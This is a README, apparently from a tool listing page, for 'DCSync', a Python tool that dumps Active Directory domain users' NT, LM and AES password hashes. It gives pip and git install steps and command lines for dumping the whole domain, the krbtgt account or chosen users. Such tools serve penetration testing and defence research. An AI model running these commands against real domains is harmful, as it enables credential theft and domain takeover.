DCSync
DCSync is a python script for dumping domain users secrets
Install / Use
/learn @AetherBlack/DCSyncREADME
┓
┏┫┏┏┓┏┏┓┏
┗┻┗┛┗┫┛┗┗
┛
<p align="center">
A python script for dumping domain users secrets using DCSync method.
<br>
<img alt="PyPI" src="https://img.shields.io/pypi/v/DCSync">
<img alt="GitHub release (latest by date)" src="https://img.shields.io/github/v/release/AetherBlack/DCSync">
<a href="https://twitter.com/intent/follow?screen_name=san__yohan" title="Follow"><img src="https://img.shields.io/twitter/follow/san__yohan?label=Aether&style=social"></a>
<br>
</p>
Installation
You can install it from pypi (latest version is <img alt="PyPI" src="https://img.shields.io/pypi/v/DCSync">) with this command:
sudo python3 -m pip install dcsync
OR from source :
git clone https://github.com/AetherBlack/DCSync
cd DCSync
python3 -m venv .
source bin/activate
python3 -m pip install .
OR with pipx :
python3 -m pipx install git+https://github.com/AetherBlack/DCSync/
Examples
- You want to DCSync the whole domain with Administrator privilegies :
dcsync $DOMAIN/$USER:"$PASSWORD"@$DC

- You want to DCSync for a single principal :
dcsync -just-user krbtgt -k $DOMAIN/$USER:"$PASSWORD"@$DC

- You want to DCSync the whole domain without Administrator privilegies using ldap method :
dcsync -method ldap $DOMAIN/$USER:"$PASSWORD"@$DC

You can use this methods :
samr (Default)
ldap
file
- You want to DCSync only a list of specific principals :
dcsync -just-user-file ./usersfile.txt $DOMAIN/$USER:"$PASSWORD"@$DC

How it works
The tool will use the provided method to enumerate the users of the domain. Then, it will connect to the DC's RPC to dump their NT hash, LM hash, AES hash and history hash.
Credits
License
Related Skills
node-connect
349.0kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
109.4kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
349.0kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
qqbot-media
349.0kQQBot 富媒体收发能力。使用 <qqmedia> 标签,系统根据文件扩展名自动识别类型(图片/语音/视频/文件)。
